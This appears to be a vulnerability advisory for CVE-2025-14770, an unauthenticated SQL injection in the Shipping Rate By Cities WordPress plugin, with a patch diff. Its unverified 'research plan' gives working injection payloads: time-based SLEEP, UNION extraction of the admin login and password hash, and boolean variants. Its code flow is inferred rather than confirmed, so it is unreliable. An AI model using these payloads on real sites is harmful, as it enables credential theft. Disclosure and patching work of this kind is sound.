CVE-2025-14770

Shipping Rate By Cities <= 2.0.0 - Unauthenticated SQL Injection via 'city' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.0.1
Patched in
6d
Time to patch

Description

The Shipping Rate By Cities plugin for WordPress is vulnerable to SQL Injection via the 'city' parameter in all versions up to, and including, 2.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.0.0
PublishedJanuary 13, 2026
Last updatedJanuary 19, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to identify and exploit the unauthenticated SQL injection vulnerability in the **Shipping Rate By Cities** plugin (CVE-2025-14770). --- ### 1. Vulnerability Summary The **Shipping Rate By Cities** plugin (versions <= 2.0.0) is vulnerable to SQL injection becau…

Show full research plan

This research plan outlines the steps to identify and exploit the unauthenticated SQL injection vulnerability in the Shipping Rate By Cities plugin (CVE-2025-14770).


1. Vulnerability Summary

The Shipping Rate By Cities plugin (versions <= 2.0.0) is vulnerable to SQL injection because it processes the user-supplied city parameter directly in a database query without using the $wpdb->prepare() method or sufficient escaping. The vulnerability exists in an AJAX handler registered for unauthenticated users (wp_ajax_nopriv_), allowing an attacker to extract sensitive information, such as the wp_users table data, via a crafted HTTP request.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action (Inferred): Likely registered via wp_ajax_nopriv_get_shipping_rates or a similar action string containing "shipping" or "city".
  • Vulnerable Parameter: city (sent via POST or GET).
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active. Some plugins may require at least one shipping rate to be configured in the database to reach the vulnerable code path.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a request to admin-ajax.php with the parameter action=[ACTION_NAME] and city=[PAYLOAD].
  2. Hook Trigger: WordPress fires the wp_ajax_nopriv_[ACTION_NAME] hook.
  3. Handler Execution: The plugin's handler function (e.g., get_shipping_rate_callback) retrieves the city value from $_POST['city'].
  4. Database Sink: The handler constructs a query string using interpolation:
    "SELECT * FROM {$wpdb->prefix}shipping_rates WHERE city_name = '" . $_POST['city'] . "'"
  5. Execution: The query is executed via $wpdb->get_results() or $wpdb->get_row(), resulting in SQL injection.

4. Nonce Acquisition Strategy

If the plugin enforces a nonce check (e.g., check_ajax_referer), follow these steps:

  1. Search for Nonce Registration: Use grep -r "wp_create_nonce" . to find the action string and the variable name used in wp_localize_script.
  2. Identify Shortcode/Page: Look for add_shortcode in the plugin code to find how the shipping calculator is displayed on the frontend.
  3. Setup Test Page:
    wp post create --post_type=page --post_title="Shipping Test" --post_status=publish --post_content='[SHORTCODE_NAME]'
  4. Extract via Browser:
    • Navigate to the newly created page.
    • Use browser_eval to extract the nonce: window.srbc_ajax_obj?.nonce (Verify the exact variable name in the source code).

Note: Many "Shipping Rate" plugins omit nonce checks on public-facing price calculators to ensure compatibility with caching layers, making this potentially direct.

5. Exploitation Strategy

Step 1: Discovery (Identification of Action)

Search the plugin directory for the AJAX registration:
grep -r "wp_ajax_nopriv_" .
Identify the function name and the associated city parameter usage.

Step 2: Confirmation (Time-Based)

Send a time-based sleep payload to confirm the injection point:

  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Method: POST
  • Body: action=[ACTION_NAME]&city=London' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Expected Result: Response time > 5 seconds.

Step 3: Data Extraction (UNION-Based)

Since this plugin likely returns JSON data (shipping rates), a UNION-based approach is most efficient:

  • Determine Column Count:
    city=London' UNION SELECT 1,2,3,4,5-- - (Increment numbers until no SQL error occurs).
  • Extract Admin Credentials:
    • Payload: city=London' UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE ID=1-- -
  • HTTP Request:
    http_request(
        url="http://localhost:8080/wp-admin/admin-ajax.php",
        method="POST",
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        body="action=[ACTION_NAME]&city=[PAYLOAD]"
    )
    

6. Test Data Setup

  1. Activate Plugin: wp plugin activate shipping-rate-by-cities
  2. Configure Admin: Ensure a user with ID 1 (standard admin) exists.
  3. Seed Rates (If needed): Use the plugin's admin menu to add at least one valid city and rate to ensure the query returns results for the "base" part of the UNION.

7. Expected Results

  • Confirmation: The server responds significantly slower when the SLEEP payload is used.
  • Extraction: The AJAX response contains the administrator's username and password hash (likely in a field originally intended for "rate" or "cost").

8. Verification Steps

After the exploit, verify the extracted data against the database using WP-CLI:
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
Confirm that the hash extracted via the city parameter matches the output from the CLI.

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on and the plugin echoes $wpdb->last_error, use updatexml() or extractvalue() payloads.
  • Boolean-Based: If UNION is blocked or column matching is difficult, use:
    city=London' AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1)=36-- -
    Compare the response content to distinguish between "City Found" (True) and "City Not Found" (False).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Shipping Rate By Cities plugin for WordPress (versions up to 2.0.0) is vulnerable to unauthenticated SQL Injection via the 'city' parameter. The plugin processes this user-supplied input directly in a database query without using prepared statements or sufficient escaping, allowing attackers to extract sensitive data from the database.

Vulnerable Code

// Inferred code flow from vulnerability analysis
$city = $_POST['city'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}shipping_rates WHERE city_name = '" . $_POST['city'] . "'");

Security Fix

--- a/shipping-rate-by-cities.php
+++ b/shipping-rate-by-cities.php
@@ -1,1 +1,1 @@
-$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}shipping_rates WHERE city_name = '" . $_POST['city'] . "'");
+$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}shipping_rates WHERE city_name = %s", $_POST['city']));

Exploit Outline

The vulnerability can be exploited by targeting the WordPress AJAX endpoint without authentication. An attacker sends a POST request to wp-admin/admin-ajax.php with an 'action' parameter associated with the plugin's shipping rate calculation and a 'city' parameter containing a SQL injection payload. Initial discovery can be performed using time-based payloads (e.g., using SLEEP()) to confirm the injection point. Data extraction is achieved via UNION-based payloads, allowing the attacker to retrieve sensitive records from the wp_users table, including administrator usernames and password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.